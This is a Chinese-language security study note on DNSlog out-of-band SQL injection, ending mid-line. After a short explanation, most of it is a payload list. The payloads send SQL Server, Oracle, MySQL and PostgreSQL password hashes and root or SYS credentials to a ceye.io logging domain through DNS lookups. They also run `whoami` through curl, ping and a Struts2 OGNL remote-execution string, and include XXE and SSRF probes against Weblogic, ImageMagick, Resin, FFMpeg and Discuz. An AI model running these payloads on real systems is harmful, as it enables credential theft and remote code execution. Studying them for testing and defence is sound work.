WEB安全之:DNSlog SQL 注入
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入之:DNSlog 注入
1 原理
- DNSlog 就是存储在 DNS 服务器上的域名解析记录,DNSlog 记录着浏览器对域名访问的信息,利用 DNSlog 能读取多级域名的解析日志,获取信息。
- 发起带有查询语句 DNS 查询请求,通过 DNS 请求查询到值,组合成三级域名,在 NS 服务器 DNS 的日志中显示出来。
2 利用场景
- 当 WEB 应用程序存在 SQL 注入漏洞时,页面无回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
- 利用盲注二分法、布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截甚至会被封 IP;
- 此时利用 DNSlog 注入,把请求的内容外带出来,通过查询 DNSlog 得到想要的结果。
3 前提条件
- 拥有一台 DNSlog 服务器
- 目标主机能够访问互联网
- 用户具有文件读写权限
- 可以使用 union 查询
- 知道要读文件的绝对路径
(1)查询用户的文件权限
4 平台
5 Payloads
ceye
网站中的 payloads 示例
0x00 命令执行
i. *nix:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
ii. windows
ping %USERNAME%.b182oj.ceye.io
0x01 SQL Injection
i. SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
例:
# 查询 Mssql sa 密码
;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 password from admin)+'.YourIdentifier.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');
http://mssql.lab.com/index.aspx?id=1%3b%44%45%43%4c%41%52%45%20%40%68%6f%73%74%20%76%61%72%63%68%61%72%28%31%30%32%34%29%3b%53%45%4c%45%43%54%20%40%68%6f%73%74%3d%28%53%45%4c%45%43%54%20%54%4f%50%20%31%20%70%61%73%73%77%6f%72%64%20%66%72%6f%6d%20%61%64%6d%69%6e%29%2b%27%2e%36%68%63%6a%64%39%2e%63%65%79%65%2e%69%6f%27%3b%45%58%45%43%28%27%6d%61%73%74%65%72%2e%2e%78%70%5f%64%69%72%74%72%65%65%22%5c%5c%27%2b%40%68%6f%73%74%2b%27%5c%66%6f%6f%62%61%72%24%22%27%29%3b
ii. Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
iii. MySQL
- MySQL 5.7.6版本引入新特性
secure_file_priv
用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()
传到哪个指定目录的。 show variables like ‘%secure%’;
查看load_file()
是否可以读取磁盘。secure_file_priv
参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。- NULL :默认,表示限制 Mysql 不允许导入导出。
- /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
- 空值:表示不限制 Mysql 的导入|导出
- 可以通过命令查看这个属性
select @@secure_file_priv
- 若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :
- gpc 开启:特殊字符都会被转义,如:
'
转义为\'
,此时需要对输入做转义
- gpc 开启:特殊字符都会被转义,如:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
例:
# 查询数据库版本
http://mysql.lab.com/index.php?id=1 and (select load_file(concat('\\\\',(select version()),'.YourIdentifier.ceye.io\\abc')))
iv. PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
0x02 XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
0x03 Others
i. Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
ii. FFMpeg
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://ip.port.b182oj.ceye.io#EXT-X-ENDLIST
iii. Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
iv. ImageMagick
push graphic-contextviewbox 0 0 640 480fill 'url(http://ip.port.b182oj.ceye.io)'pop graphic-context
v. Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
vi. Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http:/